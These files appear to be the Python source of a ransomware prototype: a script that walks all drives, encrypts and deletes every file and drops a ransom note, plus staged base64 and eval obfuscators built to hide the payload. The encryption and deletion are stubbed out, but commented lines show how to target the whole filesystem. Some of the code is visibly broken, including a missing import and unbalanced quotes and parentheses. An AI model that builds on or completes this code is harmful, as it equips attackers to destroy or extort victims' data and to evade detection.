

Crack.py

```
import os, string

from fileManager import getRoot, deleteFile
from crypto import encrypt
from rescueGenerator import writeRescueFile

for drive in getRoot():
    for path, subdirs, files in os.walk(drive):
        for name in files:
            file = os.path.join(path, name)
            encrypt(file)
            deleteFile(file)
            writeRescueFile(path)
```

Crypto.py

```
def encrypt(file):
    print(f"File {file} encrypted!")

def fernetExperiment():
    from cryptography.fernet import Fernet
    key = Fernet.generate_key()
    f = Fernet(key)
    token = f.encrypt(b"file content")
    original = f.decrypt(token)
```

FileManager.py

```
import platform
import os

def getRoot():
    system = platform.system()
    if system == "Linux":
        return ["../experiments/"] #Just to test
        #return ["/"]
    elif system == "Windows":
        return ['%s:' % d for d in string.ascii_uppercase if os.path.exists('%s:' % d)]

def deleteFile(file):
    #os.remove(file)#Commented for simplification
    print(f"File {file} removed!")
```

RescueGenerator.py

```
import os

def writeRescueFile(location):
    f = open(os.path.join(location, "IMPORTANT_NOTE.txt"), "w")
    f.write("Your network has been penetrated.\n")
    f.write("All your files have been encrypted with a strong\nalgorithm.\n")#(misspelled on purpose)
    f.write("Backups were either encrypted or deleted.\n")
    f.write("If you want to recover your files, you need to be a nice\nboy or girl, and adopt a puppy!\n")
    f.write("Send a picture of your new puppy to this email\n(thiefCatcher@thieves.onion), and we will callback with the\npassword to unlock your files.")
    f.close()
```

Base64Example.py / renameVariablesExample.py

```
import base64
code = b"print('Hello World!')"
secretCode = base64.b64encode(code)
print(secretCode)
eval(compile(base64.b64decode(secretCode), '<string>', 'exec'))
```

```
def sum(a, b):
    return a + b

print(sum(2,5))
```

obfuscatorStageOne.py

```
import base64
in_file = open("minified.py", "rb")
data = in_file.read()
in_file.close()
secret_code = base64.b64encode(data)
print(secret_code)

out_file = open("crack0bfuscatedStageOne.py", "wb")
out_file.write(b"import base64\n")
out_file.write(b"xyz=''")
out_file.write(secret_code)
out_file.write(b"""\n")
out_file.write(b"eval(compile(base64.b64decode(xyz), '<string>', 'exec'))")
out_file.close()
```

obfuscatorStageTwo.py

```
import base64

def chunks(lst, n):
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

in_file = open("crack0bfuscatedStageOne.py", "rb")
data = in_file.read()
in_file.close()
secret_code = base64.b64encode(data)
chunked_code = list(chunks(secret_code,4))

out_file = open("crack0bfuscatedStageTwo.py", "w")
count = 1
out_file.write("dummy_dict={\n")
for chunk in chunked_code:
    out_file.write(f"{{count}}: {chunk},\n")
    count += 1
out_file.write("}\n")

in_file = open("auxForStageTwo.py", "r")
data = in_file.read()
in_file.close()
out_file.write(data)
out_file.close()

import base64
eval(compile(base64.b64decode(b"".join(dummy_dict.values()))), '<string>', 'exec'))
```

obfuscatorStageThree.py

```
in_file = open("crack0bfuscatedStageTwo.py", "r")
data = in_file.read()
in_file.close()
```

```
out_file = open("crack0bfuscatedFinal.py", "w")
out_file.write(data)
```

```
in_file = open("auxForStageThree.py", "r")
data = in_file.read()
in_file.close()
out_file.write(data)
out_file.close()
```

auxForStageThree from google....